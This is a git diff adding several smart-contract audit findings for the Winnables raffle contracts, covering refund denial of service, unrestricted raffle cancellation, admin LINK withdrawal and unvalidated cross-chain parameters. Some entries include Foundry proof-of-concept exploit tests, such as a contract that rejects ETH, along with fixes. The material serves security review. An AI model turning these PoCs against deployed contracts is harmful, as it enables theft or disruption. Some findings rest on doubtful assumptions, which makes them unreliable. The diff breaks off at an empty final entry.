b/001/280.md new file mode 100644 index 0000000..a7f3a43 --- /dev/null +++ b/001/280.md @@ -0,0 +1,39 @@ +Funny Pickle Grasshopper + +Medium + +# `WinnablesTicketManager::withdrawTokens` doesn't allow withdrawals for token amount less than the balance present in the `WinnablesTicketManager` contract. + +## Summary +- The `withdrawTokens` function allows withdrawal of tokens that are accidently sent or the LINK token (used for fees related to CCIP or VRF). +- But it doesn't allow withdrawals if the amount requested for withdrawal is less than the balance in the `WinnablesTicketManager` due to an incorrect check. +- For the tokens other than LINK, the owner can take out full amounts. +- But for LINK token, if the user takes out the full amount and deposit the required amount but the transactions related to requesting random words or cross chain messaging occurring right after full withdrawal will face Denial of Service as there is no LINK token present in the WinnablesTicketManager. + +## Vulnerability Detail +- The vulnerability is present in the `withdrawTokens` function where it reverts for token withdrawals having withdrawal request amount less than balance. +- Resulting in owner's transaction failing for withdrawal amounts less than the balance. +- As a result of which in order to perform withdrawals owners have to withdraw the full amount, +- But it will create a problem for LINK token withdrawal as any transaction requesting for random words or cross-chain messaging occurring after withdrawal of full LINK token, will face DoS as there is no LINK token present to pay for fees. + +## Impact +- Owners will not be able to perform withdrawals for withdraw amount less than balance. +- But even if owner carries out full withdrawal of LINK token, then transactions (random words request or ccip messaging) occurring right after it will face DoS. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 + +## Tool used +Manual Review + +## Recommendation +Correct the check as below: +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/281.md b/001/281.md new file mode 100644 index 0000000..605d54f --- /dev/null +++ b/001/281.md @@ -0,0 +1,169 @@ +Zesty Peanut Pony + +Medium + +# `refundPlayers` can be DoS'd if a contract player can't receive ETH + +### Summary +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +If a player in the `refundPlayers` function is a contract that cannot receive ETH (for example, due to a missing receive() or fallback() function), any attempt to refund that player will cause the entire transaction to revert. This means that if even one player among the participants cannot receive ETH for example if the API tries to refund All Players, the refund process for all players will fail. This effectively creates a Denial of Service (DoS) scenario, preventing all participants from being refunded simultaneously. + +This issue directly contradicts one of the core principles outlined in the project's documentation: "Participants in a raffle that got cancelled can always get refunded." + +### Root Cause + +The root cause of this issue lies in the assumption that all players can receive ETH, without considering the scenario where a player is a contract that lacks the `receive` or `fallback` functions. the function `_doSafeTransferAcceptanceCheck` contract `WinnablesTicket` checks if the contract is able to receive `ERC1155` tokens but this doesn't mean that it's able to accept ETH. If one of the players is a contract unable to accept ETH, the `refundPlayers` function will fail, potentially preventing all other players from being refunded. + +### Internal pre-conditions + +1. The `refundPlayers` function is invoked to return ETH to players who have participated in a game or raffle. +2. The list of players includes a contract address that does not have a `receive` or `fallback` function to accept ETH. + +### External pre-conditions + +1. An external user or contract initiates a refund process, calling `refundPlayers`. +2. One of the player addresses is a contract that cannot accept ETH transfers. + +### Attack Path + +Step 1: The `refundPlayers` function is called to distribute ETH to all participants. +Step 2: The function iterates through the list of players, attempting to send ETH to each address. +Step 3: When it reaches the contract address that cannot accept ETH, the transfer fails. +Step 4: Basedon how the refund logic is structured, the failure might cause the entire transaction to revert, preventing all subsequent refunds from occurring. +Step 5: As a result, none of the players receive their refunds, effectively causing a Denial of Service (DoS) for the refund process. + +### Impact + +The impact of this issue is a complete blockage of the refund process. If a single player in the list is a contract unable to receive ETH, no player can be refunded. This not only prevents the return of funds but can also erode trust in the contract or platform, especially in scenarios where refunds are expected to be quick and reliable. + +### PoC + +for simplicity I added a function in the `WinnablesTicketManager.sol` +```javascript +function setupCanceledRaffle(uint256 raffleId, uint256 refundAmount) external { + Raffle storage raffle = _raffles[raffleId]; + raffle.status = RaffleStatus.CANCELED; + raffle.totalRaised = refundAmount; + _lockedETH = refundAmount; + } +``` +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "../src/WinnablesTicketManager.sol"; +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +contract MockLinkToken { + mapping(address => uint256) public balances; + mapping(address => mapping(address => uint256)) public allowances; + + function approve(address spender, uint256 amount) public returns (bool) { + allowances[msg.sender][spender] = amount; + return true; + } +} + +contract MockVRFCoordinator { + function requestRandomWords( + bytes32, + uint64, + uint16, + uint32, + uint32 + ) external pure returns (uint256) { + return 1; + } +} +contract MaliciousReceiver is IERC1155Receiver { + bool public canReceiveETH = true; + address public owner; + + constructor() { + owner = msg.sender; + } + + function onERC1155Received( + address, + address, + uint256, + uint256, + bytes memory + ) public virtual override returns (bytes4) { + return this.onERC1155Received.selector; + } + + function onERC1155BatchReceived( + address, + address, + uint256[] memory, + uint256[] memory, + bytes memory + ) public virtual override returns (bytes4) { + return this.onERC1155BatchReceived.selector; + } + + function toggleETHReceive() external { + require(msg.sender == owner, "Only owner"); + canReceiveETH = !canReceiveETH; + } + + receive() external payable { + require(canReceiveETH, "ETH receive disabled"); + } + + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return interfaceId == type(IERC1155Receiver).interfaceId; + } +} +contract WinnablesTicketManagerTest is Test { + WinnablesTicketManager public ticketManager; + MaliciousReceiver public attacker; + + MockLinkToken public linkToken; + MockVRFCoordinator public vrfCoordinator; + uint256 public constant RAFFLE_ID = 1; + uint256 public constant REFUND_AMOUNT = 1 ether; + function setUp() public { + linkToken = new MockLinkToken(); + vrfCoordinator = new MockVRFCoordinator(); + + ticketManager = new WinnablesTicketManager( + address(linkToken), + address(vrfCoordinator), + 1, // subscriptionId + bytes32(0), // keyHash + address(0), // tickets contract + address(0) // CCIP router + ); + + // Set up a canceled raffle with refund amount + vm.deal(address(ticketManager), REFUND_AMOUNT * 10); + vm.prank(address(ticketManager)); + ticketManager.exposed_setupCanceledRaffle(RAFFLE_ID, REFUND_AMOUNT); + + attacker = new MaliciousReceiver(); + } + + function testFailedRefundPlayers() public { + // Set the attacker contract as an eligible player for refund + vm.prank(address(ticketManager)); + ticketManager.exposed_setPlayerParticipation(RAFFLE_ID, address(attacker), REFUND_AMOUNT); + address[] memory players = new address[](1); + players[0] = address(attacker); + // Record initial balances + uint256 initialAttackerBalance = address(attacker).balance; + uint256 initialContractBalance = address(ticketManager).balance; + + // Perform the attack + ticketManager.refundPlayers(RAFFLE_ID, players); + } +} +``` + +### Mitigation + +1. Skipping addresses that fail the ETH transfer and continuing the refund process for other players. +2. Storing the refund information for failed transfers and allowing affected players to manually claim their refunds through a separate function. \ No newline at end of file diff --git a/001/282.md b/001/282.md new file mode 100644 index 0000000..609339f --- /dev/null +++ b/001/282.md @@ -0,0 +1,255 @@ +Radiant Zinc Gecko + +Medium + +# Lack of Access Control on Raffle Cancellation Allows Arbitrary Users to Disrupt Raffle Creation + +## Summary: + +An external user can arbitrarily cancel a raffle that has already locked the prize in the `WinnablesPrizeManager` contract. This vulnerability arises because the `cancelRaffle` function in the `WinnablesTicketManager` does not properly restrict who can cancel a raffle, and the `_checkShouldCancel` function allows the function to return instead of reverting when the raffle status is `PRIZE_LOCKED`. This can lead to the admin being forced to re-lock ETH in the `PrizeManager`, causing a denial of service and potential disruption in the raffle creation process. + +## Vulnerability Detail: + +1. **Raffle Creation Process:** + + - The admin locks ETH in the `WinnablesPrizeManager` contract. + - A CCIP message is sent from the `PrizeManager` to the `TicketManager`, confirming that the prize is locked and allowing the raffle to be created. + +2. **Vulnerability in `cancelRaffle` Function:** + + - The `cancelRaffle` function in `WinnablesTicketManager` is external, meaning any user can call it. + - The internal `_checkShouldCancel` function does not revert but returns if the raffle status is `PRIZE_LOCKED`. This means the function continues execution instead of stopping. + +3. **Raffle Status Changes to `CANCELED`:** + + - After the arbitrary user calls `cancelRaffle`, the raffle status changes to `CANCELED`. + - The `cancelRaffle` function sends a CCIP message to the `PrizeManager`. + +4. **Resetting Locked ETH in `WinnablesPrizeManager`:** + + - The `PrizeManager`'s `_ccipReceive` function receives the message and calls `_cancelRaffle`. + - The `_cancelRaffle` function unlocks the previously locked ETH by setting `_ethLocked` back to 0. + +5. **Admin Forced to Repeat the Process:** + - Because the raffle is now canceled and the ETH is unlocked, the admin must re-lock the ETH and send another CCIP message to recreate the raffle. + - This causes a denial of service, as any arbitrary user can force the admin to repeat the process, delaying or preventing the raffle from being created. + +## **Impact:** + +- **Denial of Service:** An arbitrary user can cancel a raffle repeatedly, preventing the admin from successfully creating the raffle. +- **Re-Locking of Assets:** The admin is forced to re-lock ETH every time a raffle is canceled, wasting gas and resources. +- **Potential Exploit:** This vulnerability can be exploited maliciously to disrupt the operation of the raffle system, causing loss of user trust and disruption of the platform's services. + +## Code Snippet: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 + +## Proof of Concept (PoC): + +1. **Step 1: Admin Locks ETH in Prize Manager** + + - The admin locks 10 ETH in the `WinnablesPrizeManager`. + - The `PrizeManager` sends a CCIP message to the `TicketManager` confirming that the prize is locked. + +2. **Step 2: Arbitrary User Calls `cancelRaffle`** + + - An arbitrary user calls the `cancelRaffle` function on the `WinnablesTicketManager`. + - Since the raffle status is `PRIZE_LOCKED`, `_checkShouldCancel` does not revert but instead allows the function to proceed. + +3. **Step 3: Raffle Status Changes to `CANCELED`** + + - The `cancelRaffle` function changes the raffle status to `CANCELED` and sends a CCIP message back to the `PrizeManager`. + - The admin cannot create the raffle because the raffle status is `CANCELED`. + +4. **Step 4: ETH Unlocked in Prize Manager** + + - The `PrizeManager` receives the CCIP message, and the `_cancelRaffle` function is called. + - `_ethLocked` is reset to 0, unlocking the ETH. + +5. **Step 5: Admin Must Re-Lock ETH** + + - The admin is forced to lock the ETH again and send a new CCIP message to restart the raffle creation process. + +6. **Step 6: Repeated Attack** + - The arbitrary user can repeatedly call `cancelRaffle`, preventing the raffle from ever being successfully created. + +## Proof Of Code: + +**Here is the command to run the PoC:** + +```bash +npm install @chainlink/local +forge test --mt test_Bluedragon_RaffleCanBeCanceledByAnyone -vvvv --via-ir +``` + +**Here is the PoC code:** + +```javascript +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import {Test, console} from "forge-std/Test.sol"; +import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol"; +import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {IWinnablesPrizeManager} from "../contracts/interfaces/IWinnablesPrizeManager.sol"; +import {VRFCoordinatorV2Interface} from "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; +import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol"; +import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; +import {IRouter} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouter.sol"; +import "../contracts/interfaces/IWinnablesTicketManager.sol"; +import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol"; + +contract BugTest is Test { + WinnablesTicketManager public ticketManager; + WinnablesPrizeManager public prizeManager; + WinnablesTicket public tickets; + CCIPLocalSimulatorFork public ccipSimulator; + address public vrfCoordinatorSepolia; + address public vrfCoordinatorAvalanche; + address public linkTokenSepolia; + address public linkTokenAvanlanche; + address public ccipRouterSepolia; + address public ccipRouterAvalanche; + bytes32 public keyHash_Sepolia; + bytes32 public keyHash_Avalanche; + address public admin; + address public api; + uint256 public api_key; + address public buyer1; + address public buyer2; + uint256 public subscriptionId; + uint64 public constant sepoliaChainSelector = 16015286601757825753; + uint64 public constant avalancheChainSelector = 14767482510784806043; + uint256 public sepoliaId; + uint256 public avalancheId; + + function setUp() public { + sepoliaId = vm.createFork("https://1rpc.io/sepolia"); + avalancheId = vm.createFork("https://avalanche-fuji-c-chain-rpc.publicnode.com"); + vm.selectFork(sepoliaId); + ccipSimulator = new CCIPLocalSimulatorFork(); + vm.makePersistent(address(ccipSimulator)); + admin = makeAddr("admin"); + (api, api_key) = makeAddrAndKey("api"); + (buyer1) = makeAddr("buyer1"); + (buyer2) = makeAddr("buyer2"); + // Funding + deal(admin, 100e18); + + // Sepolia Testnet configs + linkTokenSepolia = 0x779877A7B0D9E8603169DdbD7836e478b4624789; + ccipRouterSepolia = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59; + vrfCoordinatorSepolia = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625; + keyHash_Sepolia = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; + + // Avalanche Testnet configs + linkTokenAvanlanche = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846; + ccipRouterAvalanche = 0xF694E193200268f9a4868e4Aa017A0118C9a8177; + vrfCoordinatorAvalanche = 0x2eD832Ba664535e5886b75D64C46EB9a228C2610; + keyHash_Avalanche = 0x354d2f95da55398f44b7cff77da56283d9c6c829a4bdf1bbcaf2ad6a4d081f61; + + deal(linkTokenSepolia, admin, 100e18); + vm.startPrank(admin); + prizeManager = new WinnablesPrizeManager(linkTokenSepolia, ccipRouterSepolia); + LinkTokenInterface(linkTokenSepolia).transfer(address(prizeManager), 15e18); + vm.stopPrank(); + + vm.selectFork(avalancheId); + deal(buyer1, 100e18); + deal(buyer2, 100e18); + vm.startPrank(admin); + subscriptionId = VRFCoordinatorV2Interface(vrfCoordinatorAvalanche).createSubscription(); + tickets = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + linkTokenAvanlanche, + vrfCoordinatorAvalanche, + uint64(subscriptionId), + keyHash_Avalanche, + address(tickets), + ccipRouterAvalanche + ); + deal(linkTokenAvanlanche, address(ticketManager), 100e18); + VRFCoordinatorV2Interface(vrfCoordinatorAvalanche).addConsumer(uint64(subscriptionId), address(ticketManager)); + ticketManager.setCCIPCounterpart(address(prizeManager), sepoliaChainSelector, true); + ticketManager.setRole(api, 1, true); + tickets.setRole(address(ticketManager), 1, true); + vm.stopPrank(); + + vm.selectFork(sepoliaId); + vm.prank(admin); + prizeManager.setCCIPCounterpart(address(ticketManager), avalancheChainSelector, true); + } + + function test_Bluedragon_RaffleCanBeCanceledByAnyone() public { + uint256 raffleId = 1; + uint256 ethValue = 10 ether; + // locking the eth in prize manager + lockEth(raffleId, ethValue); + + // arbitrary address cancel's the raffle + vm.startPrank(buyer1); + ticketManager.cancelRaffle(address(prizeManager), sepoliaChainSelector, raffleId); + ccipSimulator.switchChainAndRouteMessage(sepoliaId); + vm.stopPrank(); + + vm.selectFork(avalanceId); + (,,,,,, IWinnables.RaffleStatus status,) = ticketManager.getRaffle(raffleId); + console.log("Raffle status: ", uint256(status), "Means raffle is canceled"); + assertEq(uint256(status), 7); + + // admin cannot create the raffle + vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector); + vm.startPrank(admin); + ticketManager.createRaffle(raffleId, uint64(block.timestamp), uint64(block.timestamp + 1000), 5, 10, 10); + vm.stopPrank(); + } + + function lockEth(uint256 raffleId, uint256 ethValue) internal { + vm.selectFork(sepoliaId); + vm.startPrank(admin); + prizeManager.lockETH{value: ethValue}(address(ticketManager), avalancheChainSelector, raffleId, ethValue); + vm.stopPrank(); + + ccipSimulator.switchChainAndRouteMessage(avalancheId); + } +} +``` + +**Here is the output of the PoC:** + +```bash +Ran 1 test for test/BugTest.t.sol:BugTest +[PASS] test_Bluedragon_RaffleCanBeCanceledByAnyone() (gas: 383696) +Logs: + Raffle status: 7 Means raffle is canceled +``` + +## Tools Used: + +- Manual Review + +## Recommendations: + +1. **Restrict Access to `cancelRaffle`:** + + - Implement proper access control on the `cancelRaffle` function, allowing only authorized users (e.g., the admin or specific roles) to cancel a raffle. + - Consider using a modifier like `onlyRole(0)` or `onlyOwner`. + +2. **Update `_checkShouldCancel`:** + + - Modify the `_checkShouldCancel` function to revert if the raffle status is `PRIZE_LOCKED` instead of returning. This ensures that the raffle cannot be canceled once the prize is locked. + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED) revert RaffleIsLocked(); + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` diff --git a/001/284.md b/001/284.md new file mode 100644 index 0000000..2d30edc --- /dev/null +++ b/001/284.md @@ -0,0 +1,60 @@ +Beautiful Maroon Hawk + +High + +# DOS in refundPlayers function + +## Summary +The` refundPlayers` function can be DOSed by including an addreess within the players array that does not receive ETH. This can cause the function to revert, halting the refund process of other players. +## Vulnerability Detail +The refundPlayers function iterates over a list of players, attempting to refund each one. +```solidity + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); +``` +The issue lies in the `_sendEth` function call.If the function reverts for any reasong such as recepient address not being able to receive Eth, the entire loop is terminated, preventing refunds of other players +## Impact +Players will loss funds if they join the raffle using other tokens or NFTs +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +## Tool used + +Manual Review + +## Recommendation +Wrap the `_sendEth` call in a try-catch block to handle failures + +or use an implementation like this + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + bool success = false; + // Try to send ETH, but continue even if it fails + assembly { + let transferSuccess := call(sub(gas(), 21000), player, amountToSend, 0, 0, 0, 0) + success := eq(transferSuccess, 1) + } + if (!success) { + // Log failed refund attempt + emit RefundFailed(raffleId, player, amountToSend); + } else { + emit PlayerRefund(raffleId, player, bytes32(participation)); + } + unchecked { ++i; } + } +} + +``` \ No newline at end of file diff --git a/001/286.md b/001/286.md new file mode 100644 index 0000000..1abfe14 --- /dev/null +++ b/001/286.md @@ -0,0 +1,55 @@ +Expert Cloud Goldfish + +Medium + +# Broken invariant, admin can stop winner from claiming prize + +### Summary + +For a winner to claim its prize a cross-chain tx has to be done from Avalanche to Ethereum. This transaction requires LINK token in the contract to get paid. The admin can just withdraw LINK token with `withdrawTokens()` from the `WinnablesTicketManager` contract and avoid the winner from claiming its prize. + +As it's stated in the contest readme, `The principles that must always remain true are: -Winnables admins cannot do anything to prevent a winner from withdrawing their prize`. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made). + +### Root Cause + +Admin can withdraw any amount of LINK token from the contract in Avalanche network without any restrictions. + +### Internal pre-conditions + +Does not apply. + +### External pre-conditions + +Does not apply. + +### Attack Path + +1. Winner is chosen an `propagateRaffleWinner()` is called. +2. Admin sees this and front-runs this transaction with `withdrawTokens()` to withdraw enough LINK token from the contract so as to not have enough to pay for CCIP fees. + +### Impact + +Broken, as per devs words: **a principle that must always remain true**. + + +### PoC + +The protocol assumes any token in `WinnablesTicketManager` is an accidentally sent token that is why there is no special checks to prevent any token withdrawal, see [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292). Yet the LINK token it is not accidentally sent, it is a token that is used to pay for the cross-chain transaction fees and it can be used for admin abuse to the winner. + +Notice that the winner can always send LINK himself to the contract so there is enough. But really that does not matter as long as admin front-runs it can withdraw enough LINK to make the tx fail. + +### Mitigation + +If the token being withdrawn is LINK, force the contract to have a minimum balance of LINK, if admin tries to withdraw more than that, revert the withdrawal. + +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); ++ if(tokenAddress == LINK_ADDRESS && balance - amount < MINIMUM_LINK_BALANCE) revert InsufficientBalance(); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + +It is true that the user can call the `transferAndCall()` on the LINK token and execute the transfer in 1 tx. As LINK is an **ERC-677**. Yet for this to be possible `WinnablesTicketManager` must implement an `onTokenTransfer()` that the LINK token would use and it does not implement it. This is another way of fixing this issue. \ No newline at end of file diff --git a/001/288.md b/001/288.md new file mode 100644 index 0000000..3c11ced --- /dev/null +++ b/001/288.md @@ -0,0 +1,55 @@ +Dry Arctic Hawk + +High + +# A malicious actor could cancel a raffle in such a way that results in loss of reward tokens on the PrizeManager contract + +### Summary +A malicious user could call cancelRaffle or propagateWinner method of a raffle in such a way that the raffle prizes on the prizeManager chain would be lost forever. +--- +### Vulnerable Functions +[propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334) +[cancelRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278) +--- +### Root Cause + > The current operation's flow for cancelling a raffle goes like this: +- A user calls cancelRaffle() with a raffleId,chainSelector,prizeManager. +- The function marks the raffle as cancelled and sends a cross chain message with a payload encoded(CANCELLED,raffle-Id)where the receiver is the prizeManager for a specified chainSelector. +- The ccip protocol delivers the encoded data.which the prize manager decodes and frees up the locked tokens. + But the chainSelector and the prizeManager inputs are not validated and the function isn't a permissioned method. Which clearly means anyone could pass an arbitrary address(non-existing or existing) && also an arbitrary chainSelector.The root cause is solely due to the fact the inputs are unvalidated. +> While the callflow of propagateRaffleWinner +- An actors calls propagateRaffleWinner with the following a prizeManager address,chainSelector and a raffleI-d. +- Chainlink ccip forwards the message to the prizeManager. +- The winner is set for the received ccip payload,after which a user could claim rewards. +SImilar to the cancelRaffle the prizeManager & chainSelector is not validated and because the method is a permissionless function the inputs could be malicious. +--- +### Internal pre-conditions + +1.The attacker could choose to deploy a contract to receive the crosschain message on the target chainSelector or even pass in an EOA as the prizeManager(but the main idea is making sure the ccip message doesn't reach the right prizeManager on ethereum. +2.Since the payload never reached the prizeManager the tokens locked would never be released not even an admin could make that possible. +--- +### External pre-conditions + +1.The raffle must be cancelled or fufilled(Have a winner). +--- +### Attack Path + +1.Listen for cancelled raffle's or fufilled raffles +2.call the cancelRaffle | propagateRaffleWinner with invalid params(just make sure the payload doesn't go to the prizeManager on ethereum. +--- +### Impact +- Raffle prizes are lost forever. +- The protocol also loses gas paid for the crosschain message. +--- +### PoC +__null__ +--- +### Mitigation + +An easy fix would be to add the snippet to both the cancelRaffle and the propagateRaffleWinner methods +``` solidity + bytes32 counterpart = _packCCIPContract( + prizeManager, + chainSelector + ); + if (!_ccipContracts[counterpart]) revert ("Unauthorised Caller"); diff --git a/001/289.md b/001/289.md new file mode 100644 index 0000000..2fa30fe --- /dev/null +++ b/001/289.md @@ -0,0 +1,59 @@ +Custom Rosewood Bear + +High + +# WinnablesPrizeManager.setCCIPCounterpart function allows admins to send their own winner messages to the prize manager + +### Summary + +The `WinnablesPrizeManager.setCCIPCounterpart` function allows admins to enable multiple counterpart addresses. The Winnables admin can enable a malicious contract different from the TicketManager to receive CCIP messages and send winner messages to the `WinnablesPrizeManager` allowing the admins to declare themselves as the winner for the raffles. + +This allows admins to violate the following principles which must always hold true: + +> - Winnables admins cannot do anything to prevent a winner from withdrawing their prize +> - Admins cannot affect the odds of a raffle + +Code: +Definition of [`WinnablesPrizeManager.setCCIPCounterPart`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) function allowing to enable multiple chainlink counterparts. + +Definition of [`WinnablesPrizeManager._ccipReceive` ](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L276) function which sets winner if message is sent from an enabled CCIP counterpart. + +### Root Cause + +The `WinnablesPrizeManager.setCCIPCounterpart` function allows admins to enable multiple counterpart address anytime. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Winnables admin creates multiple raffles that end at approximately same time +2. Admin deploys a malicious contract on Avalanche which sends CCIP messages to the `WinnablesPrizeManager` contract. +3. Admin enables the malicious contract address using the `WinnablesPrizeManager.setCCIPCounterpart` function +4. Admin calls malicious contract to send winner messages for each raffle right before they end. +5. Admin ensures the `minThresholdTickets` is met and the raffles are not cancellable +6. Admin withdraws the prizes from the `WinnablesPrizeManager` and ticket sales amount from the `WinnablesTicketManager` after it declares the winner. + +### Impact + +Admins can set their own address as winners of raffles and withdraw the prize money. + +### PoC + +_No response_ + +### Mitigation + +Change the `setCCIPCounterpart` function to an initialization function allowing the admins to set the counterpart only at the time of deployment. + +Additionally, consider following mitigations: +1. Update `WinnablesPrizeManager._cancelRaffle` function to revert if raffle status != None instead of revert on if status is CANCELED + - Prevents cancelling messages for which prize money is already claimed protecting from presence of issues similar to the current one. +2. Remove the `unchecked` blocks in the `WinnablesPrizeManager.withdrawToken` and the `withdrawETH` functions. + - The `unchecked` block rely on the invariant that contract balance is >= to the locked tokens/ETH. + - If the invariant is not held, it would allow admins to withdraw entirety of the contract balance because of integer underflow. Consider estimating the gas savings and determine if the use of `unchecked` blocks outweigh the risk. \ No newline at end of file diff --git a/001/290.md b/001/290.md new file mode 100644 index 0000000..8f8acd0 --- /dev/null +++ b/001/290.md @@ -0,0 +1,81 @@ +Beautiful Maroon Hawk + +High + +# Refund Function Fails for ERC20 Token and NFT Raffles + +## Summary +The `refundPlayers` function is limited to refunding only ETH . It does not currently support the return of ERC20 tokens or NFTs used in the raffle,making users who joined a raffle with NFTs or tokens unable to get their refunded amounts. +## Vulnerability Detail +The refundPlayers function is designed to handle refunds for players when a raffle is canceled. The function checks if the raffle status is CANCELED, and if so, proceeds to process refunds. However, the refund logic is currently implemented to handle only ETH refunds, as evidenced by the _sendETH function call, which is only appropriate for ETH transactions. + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +``` +This means that ERC20 tokens and NFTs, which may also be used in raffles, cannot be refunded using this function. This creates a significant problem for users who participated using non-ETH assets. +## Impact +Players who participated in raffles using ERC20 tokens or NFTs will not be able to claim their refunds if the raffle is canceled. This will lead to a loss of funds +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +## Tool used + +Manual Review + +## Recommendation + Implement appropriate refund logic based on the asset type and do a refund as shown below + + ```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + + // Example of handling different asset types + if (raffle.assetType == AssetType.ETH) { + _sendETH(amountToSend, player); + } else if (raffle.assetType == AssetType.ERC20) { + _sendERC20(raffle.tokenAddress, amountToSend, player); + } else if (raffle.assetType == AssetType.NFT) { + _sendNFT(raffle.tokenAddress, amountToSend, player); + } + + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} + +``` +`_sendERC20` and `_sendNFT` functions can be implemented to handle ERC20 and NFT transfers respectively as shown below, + +```solidity +function _sendERC20(address tokenAddress, uint256 amount, address recipient) private { + IERC20 token = IERC20(tokenAddress); + bool success = token.safeTransfer(recipient, amount); + require(success, "ERC20 transfer failed"); +} +``` + +```solidity +function _sendNFT(address nftAddress, uint256 tokenId, address recipient) private { + IERC721 nft = IERC721(nftAddress); + nft.safeTransferFrom(address(this), recipient, tokenId); +} +``` +**Make sure to test these functions thoroughly in a test environment before deploying them to production.** \ No newline at end of file diff --git a/001/291.md b/001/291.md new file mode 100644 index 0000000..4ee523c --- /dev/null +++ b/001/291.md @@ -0,0 +1,58 @@ +Breezy Amethyst Penguin + +Medium + +# 